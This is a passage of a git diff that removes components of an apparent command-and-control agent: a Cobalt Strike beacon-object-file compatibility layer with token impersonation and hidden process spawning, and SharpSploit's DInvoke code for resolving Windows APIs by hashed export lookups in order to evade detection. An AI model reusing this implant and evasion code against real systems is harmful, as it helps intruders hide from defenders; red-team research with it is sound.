= 0; - return; -} - -void BeaconFormatAppend(formatp* format, char* text, int len) { - if (format == NULL || text == NULL) { - return; - } - - memcpy(format->buffer, text, len); - format->buffer += len; - format->length += len; - return; -} - -void BeaconFormatPrintf(formatp* format, char* fmt, ...) { - if (format == NULL || fmt == NULL) { - return; - } - - /*Take format string, and sprintf it into here*/ - va_list args; - int length = 0; - - va_start(args, fmt); - length = vsnprintf(NULL, 0, fmt, args); - va_end(args); - if (format->length + length + 1 > format->size) { - return; - } - - va_start(args, fmt); - (void)vsnprintf(format->buffer, length + 1, fmt, args); - va_end(args); - format->length += length; - format->buffer += length; - return; -} - - -char* BeaconFormatToString(formatp* format, int* size) { - if (format == NULL || size == NULL) { - return NULL; - } - - *size = format->length; - return format->original; -} - -void BeaconFormatInt(formatp* format, int value) { - if (format == NULL) { - return; - } - - uint32_t indata = value; - uint32_t outdata = 0; - if (format->length + 4 > format->size) { - return; - } - outdata = swap_endianess(indata); - memcpy(format->buffer, &outdata, 4); - format->length += 4; - format->buffer += 4; - return; -} - -/* Main output functions */ - -void BeaconPrintf(int type, char* fmt, ...) { - if (fmt == NULL) { - return; - } - - /* Change to maintain internal buffer, and return after done running. */ - int length = 0; - char* tempptr = NULL; - va_list args; - va_start(args, fmt); - vprintf(fmt, args); - va_end(args); - - va_start(args, fmt); - length = vsnprintf(NULL, 0, fmt, args); - va_end(args); - tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + length + 1); - if (tempptr == NULL) { - return; - } - beacon_compatibility_output = tempptr; - memset(beacon_compatibility_output + beacon_compatibility_offset, 0, length + 1); - va_start(args, fmt); - length = vsnprintf(beacon_compatibility_output + beacon_compatibility_offset, length +1, fmt, args); - beacon_compatibility_size += length; - beacon_compatibility_offset += length; - va_end(args); - return; -} - -void BeaconOutput(int type, char* data, int len) { - if (data == NULL) { - return; - } - - char* tempptr = NULL; - tempptr = realloc(beacon_compatibility_output, beacon_compatibility_size + len + 1); - beacon_compatibility_output = tempptr; - if (tempptr == NULL) { - return; - } - memset(beacon_compatibility_output + beacon_compatibility_offset, 0, len + 1); - memcpy(beacon_compatibility_output + beacon_compatibility_offset, data, len); - beacon_compatibility_size += len; - beacon_compatibility_offset += len; - return; -} - -/* Token Functions */ - -BOOL BeaconUseToken(HANDLE token) { - /* Probably needs to handle DuplicateTokenEx too */ - SetThreadToken(NULL, token); - return TRUE; -} - -void BeaconRevertToken(void) { - if (!RevertToSelf()) { -#ifdef DEBUG - printf("RevertToSelf Failed!\n"); -#endif - } - return; -} - -BOOL BeaconIsAdmin(void) { - /* Leaving this to be implemented by people needing it */ -#ifdef DEBUG - printf("BeaconIsAdmin Called\n"); -#endif - return FALSE; -} - -/* Injection/spawning related stuffs - * - * These functions are basic place holders, and if implemented into something - * real should be just calling internal functions for your tools. */ -void BeaconGetSpawnTo(BOOL x86, char* buffer, int length) { - char* tempBufferPath = NULL; - if (buffer == NULL) { - return; - } - if (x86) { - tempBufferPath = "C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME; - } - else { - tempBufferPath = "C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME; - } - - if ((int)strlen(tempBufferPath) > length) { - return; - } - memcpy(buffer, tempBufferPath, strlen(tempBufferPath)); - return; -} - -BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo) { - BOOL bSuccess = FALSE; - if (x86) { - bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X86PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); - } - else { - bSuccess = CreateProcessA(NULL, (char*)"C:\\Windows\\"X64PATH"\\"DEFAULTPROCESSNAME, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); - } - return bSuccess; -} - -void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len) { - /* Leaving this to be implemented by people needing/wanting it */ - return; -} - -void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len) { - /* Leaving this to be implemented by people needing/wanting it */ - return; -} - -void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo) { - if (pInfo != NULL) { - (void)CloseHandle(pInfo->hThread); - (void)CloseHandle(pInfo->hProcess); - } - return; -} - -BOOL toWideChar(char* src, wchar_t* dst, int max) { - if (max < sizeof(wchar_t)) - return FALSE; - return MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t)); -} - -char* BeaconGetOutputData(int *outsize) { - if (outsize == NULL) { - return NULL; - } - - char* outdata = beacon_compatibility_output; - *outsize = beacon_compatibility_size; - beacon_compatibility_output = NULL; - beacon_compatibility_size = 0; - beacon_compatibility_offset = 0; - return outdata; -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.h b/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.h deleted file mode 100755 index a0153172..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once -/* - * Cobalt Strike 4.X BOF compatibility layer - * ----------------------------------------- - * The whole point of these files are to allow beacon object files built for CS - * to run fine inside of other tools without recompiling. - * - * Built off of the beacon.h file provided to build for CS. - */ -#ifndef BEACON_COMPATIBILITY_H_ - /* Structures as is in beacon.h */ -extern unsigned char* InternalFunctions[30][2]; -typedef struct { - char* original; /* the original buffer [so we can free it] */ - char* buffer; /* current pointer into our buffer */ - int length; /* remaining length of data */ - int size; /* total size of this buffer */ -} datap; - -typedef struct { - char* original; /* the original buffer [so we can free it] */ - char* buffer; /* current pointer into our buffer */ - int length; /* remaining length of data */ - int size; /* total size of this buffer */ -} formatp; - -void BeaconDataParse(datap* parser, char* buffer, int size); -int BeaconDataInt(datap* parser); -short BeaconDataShort(datap* parser); -int BeaconDataLength(datap* parser); -char* BeaconDataExtract(datap* parser, int* size); - -void BeaconFormatAlloc(formatp* format, int maxsz); -void BeaconFormatReset(formatp* format); -void BeaconFormatFree(formatp* format); -void BeaconFormatAppend(formatp* format, char* text, int len); -void BeaconFormatPrintf(formatp* format, char* fmt, ...); -char* BeaconFormatToString(formatp* format, int* size); -void BeaconFormatInt(formatp* format, int value); - -#define CALLBACK_OUTPUT 0x0 -#define CALLBACK_OUTPUT_OEM 0x1e -#define CALLBACK_ERROR 0x0d -#define CALLBACK_OUTPUT_UTF8 0x20 - - -void BeaconPrintf(int type, char* fmt, ...); -void BeaconOutput(int type, char* data, int len); - -/* Token Functions */ -BOOL BeaconUseToken(HANDLE token); -void BeaconRevertToken(); -BOOL BeaconIsAdmin(); - -/* Spawn+Inject Functions */ -void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); -BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo); -void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); -void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); -void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); - -/* Utility Functions */ -BOOL toWideChar(char* src, wchar_t* dst, int max); -uint32_t swap_endianess(uint32_t indata); - -__declspec(dllexport) char* BeaconGetOutputData(int* outsize); -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Generic.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Generic.cs deleted file mode 100644 index 8e27c6db..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Generic.cs +++ /dev/null @@ -1,895 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.IO; -using System.Text; -using System.Diagnostics; -using System.Collections.Generic; -using System.Security.Cryptography; -using System.Runtime.InteropServices; - -namespace DInvokeResolver.DInvoke.DynamicInvoke -{ - /// - /// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious - /// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime. - /// - public class Generic - { - /// - /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. - /// - /// The Wover (@TheRealWover) - /// Name of the DLL. - /// Name of the function. - /// Prototype for the function, represented as a Delegate object. - /// Parameters to pass to the function. Can be modified if function uses call by reference. - /// Whether the DLL may be loaded from disk if it is not already loaded. Default is false. - /// Whether or not to resolve export forwards. Default is true. - /// Object returned by the function. Must be unmarshalled by the caller. - public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters, bool CanLoadFromDisk = false, bool ResolveForwards = true) - { - IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName, CanLoadFromDisk, ResolveForwards); - return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); - } - - /// - /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. - /// - /// The Wover (@TheRealWover) - /// A pointer to the unmanaged function. - /// Prototype for the function, represented as a Delegate object. - /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. - /// Object returned by the function. Must be unmarshalled by the caller. - public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) - { - Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); - return funcDelegate.DynamicInvoke(Parameters); - } - - /// - /// Resolves LdrLoadDll and uses that function to load a DLL from disk. - /// - /// Ruben Boonen (@FuzzySec) - /// The path to the DLL on disk. Uses the LoadLibrary convention. - /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. - public static IntPtr LoadModuleFromDisk(string DLLPath) - { - Data.Native.UNICODE_STRING uModuleName = new Data.Native.UNICODE_STRING(); - Native.RtlInitUnicodeString(ref uModuleName, DLLPath); - - IntPtr hModule = IntPtr.Zero; - Data.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); - if (CallResult != Data.Native.NTSTATUS.Success || hModule == IntPtr.Zero) - { - return IntPtr.Zero; - } - - return hModule; - } - - /// - /// Helper for getting the pointer to a function from a DLL loaded by the process. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). - /// Name of the exported procedure. - /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false, bool ResolveForwards = true) - { - IntPtr hModule = GetLoadedModuleAddress(DLLName); - if (hModule == IntPtr.Zero && CanLoadFromDisk) - { - hModule = LoadModuleFromDisk(DLLName); - if (hModule == IntPtr.Zero) - { - throw new FileNotFoundException(DLLName + ", unable to find the specified file."); - } - } - else if (hModule == IntPtr.Zero) - { - throw new DllNotFoundException(DLLName + ", Dll was not found."); - } - - return GetExportAddress(hModule, FunctionName, ResolveForwards); - } - - /// - /// Helper for getting the pointer to a function from a DLL loaded by the process. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). - /// Ordinal of the exported procedure. - /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false, bool ResolveForwards = true) - { - IntPtr hModule = GetLoadedModuleAddress(DLLName); - if (hModule == IntPtr.Zero && CanLoadFromDisk) - { - hModule = LoadModuleFromDisk(DLLName); - if (hModule == IntPtr.Zero) - { - throw new FileNotFoundException(DLLName + ", unable to find the specified file."); - } - } - else if (hModule == IntPtr.Zero) - { - throw new DllNotFoundException(DLLName + ", Dll was not found."); - } - - return GetExportAddress(hModule, Ordinal, ResolveForwards: ResolveForwards); - } - - /// - /// Helper for getting the pointer to a function from a DLL loaded by the process. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). - /// Hash of the exported procedure. - /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). - /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false, bool ResolveForwards = true) - { - IntPtr hModule = GetLoadedModuleAddress(DLLName); - if (hModule == IntPtr.Zero && CanLoadFromDisk) - { - hModule = LoadModuleFromDisk(DLLName); - if (hModule == IntPtr.Zero) - { - throw new FileNotFoundException(DLLName + ", unable to find the specified file."); - } - } - else if (hModule == IntPtr.Zero) - { - throw new DllNotFoundException(DLLName + ", Dll was not found."); - } - - return GetExportAddress(hModule, FunctionHash, Key, ResolveForwards: ResolveForwards); - } - - /// - /// Helper for getting the base address of a module loaded by the current process. This base - /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for - /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll"). - /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. - public static IntPtr GetLoadedModuleAddress(string DLLName) - { - ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; - foreach (ProcessModule Mod in ProcModules) - { - if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) - { - return Mod.BaseAddress; - } - } - return IntPtr.Zero; - } - - /// - /// Helper for getting the base address of a module loaded by the current process. This base - /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for - /// manual export parsing. This function parses the _PEB_LDR_DATA structure. - /// - /// Ruben Boonen (@FuzzySec) - /// The name of the DLL (e.g. "ntdll.dll"). - /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. - public static IntPtr GetPebLdrModuleEntry(string DLLName) - { - // Get _PEB pointer - Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); - - // Set function variables - UInt32 LdrDataOffset = 0; - UInt32 InLoadOrderModuleListOffset = 0; - if (IntPtr.Size == 4) - { - LdrDataOffset = 0xc; - InLoadOrderModuleListOffset = 0xC; - } - else - { - LdrDataOffset = 0x18; - InLoadOrderModuleListOffset = 0x10; - } - - // Get module InLoadOrderModuleList -> _LIST_ENTRY - IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset)); - IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset); - Data.Native.LIST_ENTRY le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY)); - - // Loop entries - IntPtr flink = le.Flink; - IntPtr hModule = IntPtr.Zero; - Data.PE.LDR_DATA_TABLE_ENTRY dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); - while (dte.InLoadOrderLinks.Flink != le.Blink) - { - // Match module name - if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase)) - { - hModule = dte.DllBase; - } - - // Move Ptr - flink = dte.InLoadOrderLinks.Flink; - dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); - } - - return hModule; - } - - /// - /// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups. - /// - /// Ruben Boonen (@FuzzySec) - /// API name to hash. - /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). - /// string, the computed MD5 hash value. - public static string GetAPIHash(string APIName, long Key) - { - byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower()); - byte[] kbytes = BitConverter.GetBytes(Key); - - using (HMACMD5 hmac = new HMACMD5(kbytes)) - { - byte[] bHash = hmac.ComputeHash(data); - return BitConverter.ToString(bHash).Replace("-", ""); - } - } - - /// - /// Given a module base address, resolve the address of a function by manually walking the module export table. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// The name of the export to search for (e.g. "NtAlertResumeThread"). - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName, bool ResolveForwards = true) - { - IntPtr FunctionPtr = IntPtr.Zero; - try - { - // Traverse the PE header in memory - Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); - Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); - Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; - Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); - Int64 pExport = 0; - if (Magic == 0x010b) - { - pExport = OptHeader + 0x60; - } - else - { - pExport = OptHeader + 0x70; - } - - // Read -> IMAGE_EXPORT_DIRECTORY - Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); - Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); - Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); - Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); - Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); - Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); - Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); - - // Get the VAs of the name table's beginning and end. - Int64 NamesBegin = ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA)); - Int64 NamesFinal = NamesBegin + NumberOfNames * 4; - - // Loop the array of export name RVA's - for (int i = 0; i < NumberOfNames; i++) - { - string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); - - if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) - { - - Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; - Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); - FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); - - if (ResolveForwards == true) - // If the export address points to a forward, get the address - FunctionPtr = GetForwardAddress(FunctionPtr); - - break; - } - } - } - catch - { - // Catch parser failure - throw new InvalidOperationException("Failed to parse module exports."); - } - - if (FunctionPtr == IntPtr.Zero) - { - // Export not found - throw new MissingMethodException(ExportName + ", export not found."); - } - return FunctionPtr; - } - - /// - /// Given a module base address, resolve the address of a function by manually walking the module export table. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal, bool ResolveForwards = true) - { - IntPtr FunctionPtr = IntPtr.Zero; - try - { - // Traverse the PE header in memory - Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); - Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); - Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; - Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); - Int64 pExport = 0; - if (Magic == 0x010b) - { - pExport = OptHeader + 0x60; - } - else - { - pExport = OptHeader + 0x70; - } - - // Read -> IMAGE_EXPORT_DIRECTORY - Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); - Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); - Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); - Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); - Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); - Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); - Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); - - // Loop the array of export name RVA's - for (int i = 0; i < NumberOfNames; i++) - { - Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; - if (FunctionOrdinal == Ordinal) - { - Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); - FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); - - if (ResolveForwards == true) - // If the export address points to a forward, get the address - FunctionPtr = GetForwardAddress(FunctionPtr); - - break; - } - } - } - catch - { - // Catch parser failure - throw new InvalidOperationException("Failed to parse module exports."); - } - - if (FunctionPtr == IntPtr.Zero) - { - // Export not found - throw new MissingMethodException(Ordinal + ", ordinal not found."); - } - return FunctionPtr; - } - - /// - /// Given a module base address, resolve the address of a function by manually walking the module export table. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// Hash of the exported procedure. - /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). - /// Whether or not to resolve export forwards. Default is true. - /// IntPtr for the desired function. - public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key, bool ResolveForwards = true) - { - IntPtr FunctionPtr = IntPtr.Zero; - try - { - // Traverse the PE header in memory - Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); - Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); - Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; - Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); - Int64 pExport = 0; - if (Magic == 0x010b) - { - pExport = OptHeader + 0x60; - } - else - { - pExport = OptHeader + 0x70; - } - - // Read -> IMAGE_EXPORT_DIRECTORY - Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); - Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); - Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); - Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); - Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); - Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); - Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); - - // Loop the array of export name RVA's - for (int i = 0; i < NumberOfNames; i++) - { - string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); - if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase)) - { - Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; - Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); - FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); - - if (ResolveForwards == true) - // If the export address points to a forward, get the address - FunctionPtr = GetForwardAddress(FunctionPtr); - - break; - } - } - } - catch - { - // Catch parser failure - throw new InvalidOperationException("Failed to parse module exports."); - } - - if (FunctionPtr == IntPtr.Zero) - { - // Export not found - throw new MissingMethodException(FunctionHash + ", export hash not found."); - } - return FunctionPtr; - } - - /// - /// Check if an address to an exported function should be resolved to a forward. If so, return the address of the forward. - /// - /// The Wover (@TheRealWover) - /// Function of an exported address, found by parsing a PE file's export table. - /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. - /// IntPtr for the forward. If the function is not forwarded, return the original pointer. - public static IntPtr GetForwardAddress(IntPtr ExportAddress, bool CanLoadFromDisk = false) - { - IntPtr FunctionPtr = ExportAddress; - try - { - // Assume it is a forward. If it is not, we will get an error - string ForwardNames = Marshal.PtrToStringAnsi(FunctionPtr); - string[] values = ForwardNames.Split('.'); - - if (values.Length > 1) - { - string ForwardModuleName = values[0]; - string ForwardExportName = values[1]; - - // Check if it is an API Set mapping - Dictionary ApiSet = GetApiSetMapping(); - string LookupKey = ForwardModuleName.Substring(0, ForwardModuleName.Length - 2) + ".dll"; - if (ApiSet.ContainsKey(LookupKey)) - ForwardModuleName = ApiSet[LookupKey]; - else - ForwardModuleName = ForwardModuleName + ".dll"; - - IntPtr hModule = GetPebLdrModuleEntry(ForwardModuleName); - if (hModule == IntPtr.Zero && CanLoadFromDisk == true) - hModule = LoadModuleFromDisk(ForwardModuleName); - if (hModule != IntPtr.Zero) - { - FunctionPtr = GetExportAddress(hModule, ForwardExportName); - } - } - } - catch - { - // Do nothing, it was not a forward - } - return FunctionPtr; - } - - /// - /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// The name of the export to search for (e.g. "NtAlertResumeThread"). - /// IntPtr for the desired function. - public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName) - { - Data.Native.ANSI_STRING aFunc = new Data.Native.ANSI_STRING - { - Length = (ushort)ExportName.Length, - MaximumLength = (ushort)(ExportName.Length + 2), - Buffer = Marshal.StringToCoTaskMemAnsi(ExportName) - }; - - IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc)); - Marshal.StructureToPtr(aFunc, pAFunc, true); - - IntPtr pFuncAddr = IntPtr.Zero; - Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr); - - Marshal.FreeHGlobal(pAFunc); - - return pFuncAddr; - } - - /// - /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. - /// - /// Ruben Boonen (@FuzzySec) - /// A pointer to the base address where the module is loaded in the current process. - /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). - /// IntPtr for the desired function. - public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal) - { - IntPtr pFuncAddr = IntPtr.Zero; - IntPtr pOrd = (IntPtr)Ordinal; - - Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr); - - return pFuncAddr; - } - - /// - /// Retrieve PE header information from the module base pointer. - /// - /// Ruben Boonen (@FuzzySec) - /// Pointer to the module base. - /// PE.PE_META_DATA - public static Data.PE.PE_META_DATA GetPeMetaData(IntPtr pModule) - { - Data.PE.PE_META_DATA PeMetaData = new Data.PE.PE_META_DATA(); - try - { - UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c)); - PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew)); - // Validate PE signature - if (PeMetaData.Pe != 0x4550) - { - throw new InvalidOperationException("Invalid PE signature."); - } - PeMetaData.ImageFileHeader = (Data.PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(Data.PE.IMAGE_FILE_HEADER)); - IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18); - UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader); - // Validate PE arch - if (PEArch == 0x010b) // Image is x32 - { - PeMetaData.Is32Bit = true; - PeMetaData.OptHeader32 = (Data.PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER32)); - } - else if (PEArch == 0x020b) // Image is x64 - { - PeMetaData.Is32Bit = false; - PeMetaData.OptHeader64 = 